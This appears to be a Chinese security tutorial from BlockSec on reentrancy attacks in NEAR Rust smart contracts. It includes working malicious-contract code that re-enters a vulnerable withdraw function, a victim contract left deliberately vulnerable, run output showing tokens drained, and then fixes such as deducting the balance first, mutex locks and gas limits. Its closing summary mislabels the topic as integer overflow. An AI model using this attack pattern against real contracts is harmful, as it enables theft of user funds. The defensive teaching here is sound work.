• 简体版 | 繁體版
  • 联系我们
  • 加入我们
  • 关于我们
  •  
  • 首页
  • 快讯
  • 价值号
  • 视频
  • 专题
  • 滚动
  • 入驻价值号
  • 碳链APP
    微信公众号

    扫码下载App

  • 登录
  • 微信公众号

    微信公众号

导航
  • 首页
  • 快讯
  • 区块链+
  • 价值号
  • 视频
  • 专题
  • DeFi优选
碳链价值APP
专注服务于金融科技和区块链
立即打开

Rust 智能合约养成日记: 合约安全之重入攻击

BlockSec •  2021-11-14
Rust合约安全之重入攻击。

往期回顾:

  • Rust智能合约养成日记(1)合约状态数据定义与方法实现
  • Rust智能合约养成日记(2)编写Rust智能合约单元测试
  • Rust智能合约养成日记(3)Rust智能合约部署,函数调用及Explorer的使用
  • Rust智能合约养成日记(4)Rust 智能合约整数溢出

这一期中我们将向大家展示Rust合约中重入攻击,并提供给开发者相应的建议。本文中的相关代码,已上传至BlockSec的Github上,读者可以自行下载:https://github.com/blocksecteam/near_demo

1. 重入攻击原理

我们用现实生活中的简单例子来理解重入攻击:即假设某用户在银行中存有100元现金,当用户想要从银行中取钱时,他将首先告诉柜员-A:“我想要取60元”。柜员-A此时将查询用户的余额为100元,由于该余额大于用户想要取出的数额,所以柜员-A首先将60元现金交给了该位用户。但是当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”,并隐瞒了刚才已经向柜员-A取钱的事实。由于用户的余额还没有被柜员-A更新,柜员-B检查用户的余额仍旧为100元,因此柜员-B将毫不犹豫地继续将60元交给用户。最终用户实际已经获得了120元现金,大于之前存在银行中的100元现金。

为什么会发生这样的事情呢?究其原因还是因为柜员-A没有事先将用户的60元从该用户的账户中扣除。若柜员-A能事先扣除金额。用户再询问柜员-B取钱时,柜员-B就会发现用户的余额已更新,无法取出比余额(40元)更多的现金了。

以上述“从银行取钱”这一典型过程为例,映射到具体的智能合约世界中来,实际上跨合约调用行为的发生和真正更新本地所维护的合约数据之间也同样地存在一定的时间间隔。而该时间间隔的存在以及这两个步骤之前不恰当的顺序关系,将给攻击者实施重入攻击创造有利条件。

下文第2小节将首先介绍相关的背景知识,第3小节将在NEAR LocalNet中演示说明一个具体的重入攻击例子,以体现代码重入对于部署在NEAR链上的智能合约的危害性。本文最后将具体介绍针对重入攻击的防护技术,帮助大家更好的编写Rust智能合约。

2. 背景知识:NEP141的转账操作

NEP141为NEAR公链上的Fungible Token (以下均用Token简称)标准 。大部分NEAR上的Token都遵循NEP141标准。

当某一用户想要从某一个Pool中,如去中心化交易所 (DEX), 充值(deposite)或者提现(withdraw)一定数额的Token时,用户便可以调用相应的合约接口完成具体的操作。

DEX项目合约在执行所对应的接口函数时,将调用Token合约中的ft_transfer/ft_transfer_call函数,实现正式的转账操作。这两个函数的区别如下:

  • 当调用Token合约中的ft_transfer函数时,转账的接收者(receiver_id)为EOA账户。
  • 当调用Token合约中的ft_transfer_call函数时,转账的接收者(receiver_id)为合约账户。

而对于ft_transfer_call而言,该方法内部除了首先会扣除该笔交易发起者(sender_id)的转账数额,并增加受转账用户(receiver_id)的余额,此外还额外增加了对receiver_id合约中ft_on_transfer(收币函数)的跨合约调用。这里可以简单理解为,此时Token合约将提醒receiver_id合约,有用户存入了指定数额的Token。receiver_id合约将在ft_on_transfer函数中自行维护内部账户的余额管理。

3. 代码重入的具体实例

假设存在如下3个智能合约:

  • 合约A: Attacker合约;攻击者将利用该合约实施后续的攻击交易。
  • 合约B: Victim合约。为一个DEX合约。初始化的时候,Attacker账户拥有余额100,DEX的其他用户拥有余额100。即此时DEX合约总共持有了200个Token。
#[near_bindgen]#[derive(BorshDeserialize, BorshSerialize)]pub struct VictimContract { attacker_balance: u128, other_balance: u128,}​impl Default for VictimContract { fn default() -> Self { Self { attacker_balance: 100, other_balance:100 } }}

合约C: Token合约 (NEP141)。

攻击发生前,因为Attacker账户没有从Victim合约提现,所以余额为0,此时Victim合约(DEX)的余额为100+100 =200;

#[near_bindgen]#[derive(BorshDeserialize, BorshSerialize)]pub struct FungibleToken { attacker_balance: u128, victim_balance: u128}​impl Default for FungibleToken { fn default() -> Self { Self { attacker_balance: 0, victim_balance: 200 } }​

下面描述该代码重入攻击的具体流程:

  1. Attacker合约通过malicious_call函数,调用Victim合约(合约B)中的withdraw函数;

例如此时Attacker给withdraw函数传入amount参数的值为60,希望从合约B中提现60;

impl MaliciousContract { pub fn malicious_call(&mut self, amount:u128){ ext_victim::withdraw( amount.into(), &VICTIM, 0, env::prepaid_gas() - GAS_FOR_SINGLE_CALL ); }...}
  1. 在合约B中,withdraw函数开头处的assert!(self.attacker_balance>= amount);`将检查Attacker账户是否有足够的余额,此时余额100>60,将通过断言,执行withdraw中后续的步骤。
impl VictimContract { pub fn withdraw(&mut self,amount: u128) -> Promise{ assert!(self.attacker_balance>= amount); // Call Attacker的收币函数 ext_ft_token::ft_transfer_call( amount.into(), &FT_TOKEN, 0, env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2 ) .then(ext_self::ft_resolve_transfer( amount.into(), &env::current_account_id(), 0, GAS_FOR_SINGLE_CALL, )) }...}
  1. 合约B中的withdraw函数接着将调用合约C(FT_Token合约)中的ft_transfer_call函数;

通过上述代码中的ext_ft_token::ft_transfer_call实现跨合约调用。

  1. 合约C中的ft_transfer_call函数,将更新attacker账户的余额 = 0 + 60 = 60,以及Victim合约账户的余额 = 200 - 60 = 140,随后通过ext_fungible_token_receiver::ft_on_transfer调用合约A的ft_on_transfer“收币”函数。
#[near_bindgen]impl FungibleToken { pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue<U128>{ // 相当于 internal_ft_transfer self.attacker_balance += amount; self.victim_balance -= amount;​ // Call Attacker的收币函数 ext_fungible_token_receiver::ft_on_transfer( amount.into(), &ATTACKER, 0, env::prepaid_gas() - GAS_FOR_SINGLE_CALL ).into() }...}
  1. 由于合约A被Attacker所控制,并且代码存在恶意的行为。所以该“恶意”的ft_on_transfer函数可以再次通过执行ext_victim::withdraw,调用合约B中的withdraw函数,以此达到重入的效果。
#[near_bindgen]impl MaliciousContract { pub fn ft_on_transfer(&mut self, amount: u128){ // 恶意合约的收币函数 if self.reentered == false{ ext_victim::withdraw( amount.into(), &VICTIM, 0, env::prepaid_gas() - GAS_FOR_SINGLE_CALL ); } self.reentered = true; }...}
  1. 由于上一次进入withdraw以来,victim合约中的attacker_balance还没有更新,所以还是100,因此此时仍旧可以通过assert!(self.attacker_balance>= amount)的检查。withdraw后续将再次在FT_Token合约中跨合约调用ft_transfer_call函数,更新attacker账户的余额 = 60 + 60 = 120,以及Victim合约账户的余额 = 140 - 60 = 80;
  2. ft_transfer_call再次调用回Attacker合约中的ft_on_transfer函数。由于目前设置合约A中ft_on_transfer函数只会重入withdraw函数一次,所以重入行为在本次ft_on_transfer的调用时终止。
  3. 此后函数将沿着之前的调用链逐级返回,导致合约B中的withdraw函数中在更新self.attacker_balance的时候,最终使得self.attacker_balance = 100 -60 -60 = -20
  4. 由于self.attacker_balance是u128,且并没有使用safe_math,因此将导致整数的溢出现象。

最终执行的结果如下:

$ node Triple_Contracts_Reentrancy.js Finish init NEARFinish deploy contracts and create test accountsVictim::attacker_balance:3.402823669209385e+38FT_Token::attacker_balance:120FT_Token::victim_balance:80

即尽管用户Attacker在DEX中锁定的FungibleToken余额仅100,但是最终Attacker实际获得的转账为120,实现了本次代码重入攻击的目的。

4. 代码重入防护技术

4.1 先更新和与状态(先扣钱),再转账。

更改合约B代码 withdraw中的执行逻辑为:

#[near_bindgen]impl VictimContract { pub fn withdraw(&mut self,amount: u128) -> Promise{ assert!(self.attacker_balance>= amount); self.attacker_balance -= amount; // Call Attacker的收币函数 ext_ft_token::ft_transfer_call( amount.into(), &FT_TOKEN, 0, env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2 ) .then(ext_self::ft_resolve_transfer( amount.into(), &env::current_account_id(), 0, GAS_FOR_SINGLE_CALL, )) } #[private] pub fn ft_resolve_transfer(&mut self, amount: u128) { match env::promise_result(0) { PromiseResult::NotReady => unreachable!(), PromiseResult::Successful(_) => { } PromiseResult::Failed => { // 若ext_ft_token::ft_transfer_call跨合约调用转账失败, // 则回滚之前账户余额状态的更新self.attacker_balance += amount; } }; }

此时的执行效果如下:

$ node Triple_Contracts_Reentrancy.js Finish init NEARFinish deploy contracts and create test accountsReceipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可见由于此时的Victim合约在withdraw的时候事先更新了用户的余额,在调用外部的FungibleToken实施转账。因此当第二次重入了withdraw的时候,Victim合约中保存的attacker_balance已经更新为40,因此将无法通过assert!(self.attacker_balance>= amount);使得Attcker的调用流程由于触发了Assertion Panic,无法利用代码重入进行套利。

4.2 引入互斥锁

该方法类似于当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”。尽管用户隐瞒了刚才已经向柜员-A取钱的事实。但是柜员-B却能够知道用户已经去过柜员-A那里,并且还没有办结所有的事项,此时柜员-B便可以拒绝用户来取钱。通常情况下可以通过引入一个状态变量,来实现一个互斥锁

4.3 设置Gas Limit

例如在DEX合约的withdraw方法调用ext_ft_token::ft_transfer_call时,设置一个适当的Gas Limit。此Gas Limit将不够支持下一次代码再次重入DEX合约的withdraw函数,以此阻断重入攻击的能力。

例如对代码做如下修改,限制withdraw方法调用外部函数时的Gas Limit:

pub fn withdraw(&mut self,amount: u128) -> Promise{ assert!(self.attacker_balance>= amount); // Call Attacker的收币函数 ext_ft_token::ft_transfer_call( amount.into(), &FT_TOKEN, 0, - env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2+ GAS_FOR_SINGLE_CALL * 3 ) .then(ext_self::ft_resolve_transfer( amount.into(), &env::current_account_id(), 0, GAS_FOR_SINGLE_CALL, )) }

修改后执行效果如下

$ node Triple_Contracts_Reentrancy.jsFinish init NEARFinish deploy contracts and create test accountsReceipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可见限制跨合约函数调用时的Gas Limit也能起到防止重入攻击的效果。

本期总结和预告

这一期我们讲述了rust智能合约中的整数溢出问题,同时给出了建议,在书写代码时尽量先更新状态,再执行转账操作,并且设定合适的gas值,可以有效抵御重入攻击,下一期我们将讲述rust智能合约中的DoS问题,敬请关注。

展开全文
打开碳链价值APP  查看更多精彩资讯
声明:本文内容为作者独立观点,不代表碳链价值立场,且不构成任何投资理财建议。
0 1
安全漏洞智能合约

扫一扫,分享到微信

相关推荐

跳出智能合约平台的逻辑,波卡带来的九种Layer1新范式 价值号

跳出智能合约平台的逻辑,波卡带来的九种Layer1新范式

Polkadot生态研究院 2022-08-09 价值号
智能合约Polkadot波卡Layer1
波卡是具有可扩展性和互操作性的Layer0,同时他也在不断探索新Layer1范式。
都说区块链“安全” 为什么 DeFi 黑客如此猖獗? 滚动

都说区块链“安全” 为什么 DeFi 黑客如此猖獗?

比推 Bitpush News 2022-08-04 滚动
安全漏洞
区块链应该是安全的,那为什么如此多的 DeFi 平台和应用程序总是遭到黑客攻击?
损失约1.5亿 多人「趁火打劫」:Nomad被攻击事件分析 深度

损失约1.5亿 多人「趁火打劫」:Nomad被攻击事件分析

成都链安 2022-08-02 深度
安全漏洞
跨链通讯协议Nomad遭遇攻击,黑客获利约1.5亿美元。

碳链快讯更多 ›

2022-08-15

数据:过去1个月约10亿美元资金从USDC转移到USDT

2022-08-15

Raoul Pal:以太坊合并将使ETH对机构投资者更具吸引力

2022-08-15

Zipmex已获得新加坡高等法院为期三个月的暂缓执行期

2022-08-15

瑞幸咖啡:借力区块链技术提升业财体系透明度

2022-08-15

天桥资本创始人:比特币可能在6年内达到30万美元

2022-08-15

沉睡近3年的某以太坊巨鲸地址分多笔转出14.5万枚ETH

2022-08-15

USDT市值在8月增长近20亿美元

2022-08-15

经济日报:炒作虚拟货币该「凉」了

2022-08-15

Solana联合创始人:NFT有50种不同用例,预计大多数加密项目会使用NFT

2022-08-15

津巴布韦央行行长:已制定CBDC采用路线图

2022-08-15

华尔街日报:北美养老金在熊市仍看好加密市场

2022-08-15

FTX.US总裁:加密货币冬天「开始解冻」

2022-08-14

德国监管机构认为提高利率会对一些德国小型银行造成冲击

2022-08-14

慢雾:Acala 因链上设置错误,导致aUSD增发

2022-08-14

Tornado Cash DAO关闭,因其无法对抗美国并确保贡献者的安全

2022-08-14

Aave:已解封被Tornado Cash小额污染地址

2022-08-14

Monero已完成硬分叉升级

2022-08-14

数据:ETH期权未平仓量创历史新高

2022-08-14

研究:以太坊正在恢复其对稳定币的市值主导地位

2022-08-14

日本任命新数字大臣,将助推Web3发展

2022-08-14

第十二届北京国际电影节开幕红毯系列数字藏品上线

2022-08-13

过去一个月meme币经济增长24%至181亿美元

2022-08-13

EthHub 联创:Aave 似乎已更新前端,受 Tornado Cash 影响地址或已解除封禁

2022-08-13

分析:机构投资者越来越多地使用加密期权交易在熊市中对冲头寸

2022-08-13

公安部指挥侦破一起传播淫秽物品牟利案,冻结700个比特币

2022-08-13

巴西新法案要求使用区块链技术规范黄金开采和交易流程

2022-08-13

Aave前端或开始封禁曾参与Tornado Cash挖矿的地址

2022-08-13

ConsenSys致信美财政部:打击美国开发者将导致其失去领先地位

2022-08-13

区块链公司Skynet Labs未能获得新资金而关闭

2022-08-12

The Block 证实被荷兰当局逮捕的 Tornado Cash 开发者是 Alexey Pertsev

2022-08-12

多位加密行业高管批判逮捕疑似Tornado Cash开发者的行为

2022-08-12

天桥资本创始人:预计未来加密市场将更加活跃

2022-08-12

社区投票赞成Tornado Cash DAO成为财库多签钱包签署者之一

2022-08-12

以太坊基金会:主网合并预估日期或有高达一周的误差,下周将进行最终调整

2022-08-12

万事达卡:41%受访用户过去一年中至少完成一项与加密相关的活动

2022-08-12

Gartner发布新兴技术发展周期曲线:元宇宙仍处于十多年旅程的开端

2022-08-12

Circle:呼吁监管机构改革金融法规,以保证大众金融隐私受到保护

2022-08-12

Tornado Cash治理论坛已关闭

2022-08-12

V神:以太坊主网合并预计在 9 月 15 日,确切日期取决于哈希率

2022-08-12

Tornado DAO发起提案以对抗美国财政部制裁

2022-08-12

支付技术公司Finix融资3000万美元,Bain Capital Ventures等参投

2022-08-12

荷兰官方逮捕疑似Tornado Cash开发者

2022-08-12

BitKeep:尊重以太坊社区的共识,是否支持分叉链会参考用户意见

2022-08-12

前香奈儿欧洲市场总监Frederica Tompkins将出任OKX全球营销总监

2022-08-12

币安已冻结或追回45万美元Curve被盗资金

2022-08-12

数字资产信托公司Infinite Block获KB Securities股权投资

2022-08-12

Arthur Hayes:如果合并顺利进行,ETH现货价格将上涨

2022-08-12

加密支付应用Strike推出Visa卡并提供消费奖励

2022-08-12

比特大陆与Antalpha合作向矿工提供矿机抵押低息贷款

2022-08-12

7月CEX加密衍生品交易量涨至3.12万亿美元

推荐文章

  • 深度研究:如何设计代币经济学框架?

    2022-05-31

  • 万事达卡CEO:SWIFT系统将在五年内被央行数字货币取代

    2022-05-31

  • 达沃斯Crypto手记:加密幽灵,在欧洲游荡

    2022-05-30

  • 以太坊合并:如何影响显卡和区块链行业?

    2022-05-29

  • V神:「灵魂绑定」币将成为你们的区块链护照

    2022-05-28

价值号更多 ›

吉时通信
吉时通信
文章: 133
  • 以太坊合并:如何影响显卡和区块链行业?
  • 以太坊合并的底层观察:区块结构和MEV
  • 宏观视角解析LUNA和UST崩盘:稳定币的路在何方?
链集市ChainMarket
链集市ChainMarket
文章: 177
  • 区块链产业周刊丨全球区块链商业委员会与全球数字金融合并;最高人民法院发布区块链司法应用相关意见;蚂蚁链区块链应用专利获国家授权
  • 区块链将如何帮助我们解决气候问题?
  • 区块链产业周刊丨国家级数据云平台“人民云”正式上线;徐工机械成立包含区块链技术的国重实验室;欧盟推进数字欧元发展阶段
Unitimes
Unitimes
文章: 380
  • 深度研究:如何设计代币经济学框架?
  • 创作者经济:正统性危机之下的变革之路
  • 哈佛商业评论:Web3的机遇和挑战
换一批

热门标签

新基建 比特币 以太坊 矿业 DeFi 共识对话 区块链+ 研报 美联储 央行数字货币 无限QE 加密衍生品 AI 云计算 大数据 5G 政策 交易所 稳定币 电子支付 Libra 算力产业 联盟链 公链 区块链 加密货币 Nervos Cosmos EOS STO

邮件订阅

及时、全面、专业、准确的资讯与数据,致力于为区块链爱好者以及数字货币投资者提供最好的服务。

App内打开

邮件订阅

及时、全面、专业、准确的资讯与数据,致力于为区块链爱好者以及数字货币投资者提供最好的服务。

Moshou

碳链价值是集资讯、行情、数据于一身的区块链信息服务平台,我们追求及时、全面、专业、精确的资讯与数据,致力于为区块链创新者和数字货币投资者提供优质的服务。

关于我们 加入我们 联系我们 隐私条款
微信公众号

扫一扫关注微信公众号

Copyright © 2018-2020 碳链价值 京ICP备18046423号
下载碳链App

下载碳链App

微信公众号

微信公众号

微信公众号

微信公众号

打赏文章作者

支付宝打赏二维码 支付宝扫一扫打赏
微信打赏二维码 微信扫一扫打赏

# 热门搜索 #

CBDC 比特币 DeFi 以太坊 区块链